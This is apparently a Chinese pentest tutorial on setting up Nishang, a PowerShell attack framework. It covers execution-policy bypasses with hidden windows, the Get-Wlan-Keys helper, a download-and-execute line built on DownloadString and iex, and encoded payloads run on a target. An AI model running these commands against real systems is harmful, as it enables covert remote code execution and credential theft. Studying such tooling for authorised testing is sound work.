Nishang是一个针对Powershell的渗透测试工具,集成了框架、脚本和各种Payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本。

Nishang安装

首先我们需要去到Github上下载Nishang,直接从Releases下载即可。下载下来后解压我们得到一个文件夹。

目录

image-20230911162553026

这文件夹代表了Nishang的不同模块

bdd784723336d2baa08333d151b0a744

在渗透测试中,这些工具往往我们需要提取出来使用,而不是一整个贴到被渗透服务器中,因此需要我们对Nishang的目录结构有所了解。

Bypass执行策略

Powershell的默认执行策略是Restricted的,而Restricted是不允许任何脚本运行的。因此我们需要一些手段去Bypass执行策略。Bypass执行策略的十五种方法可以参考这篇https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/。

从别人那参考来的三个常用的方式:

1
2
3
0Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,更改了当前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
2. PowerShell.exe -ExecutionPolicy Bypass -File

在我们本机环境中,我们可以改变全局执行策略,以执行其他用户编写的ps脚本

1
set-executionpolicy remotesigned

然后我们就可以导入nishang模块了

image-20230911163409072

接下来我们可以用下面命令来验证

1
Get-Command -Module nishang

image-20230911163631365

可以看到已经成功导入了。在之后的使用中,我们可以使用”Get-Help”命令来获取当前脚本的用法和说明等

1
Get-Help Get-Wlan-Keys

image-20230911163801471

内存中加载脚本

第一种是通过远程下载的方式

1
powershell iex (New-Object Net.WebClient).DownloadString('url');

iex可以远程下载我们的脚本,并将其执行。

*iex:invove-expression

第二种是使用Invoke-Encode脚本来将我们现有的脚本编码压缩,生成编码后的内容

1
Invoke-Encode -DataToEncode "file" -OutCommand

image-20230916103015199

然后在目标上可以使用如下命令执行:

1
powershell -e [encodedscript]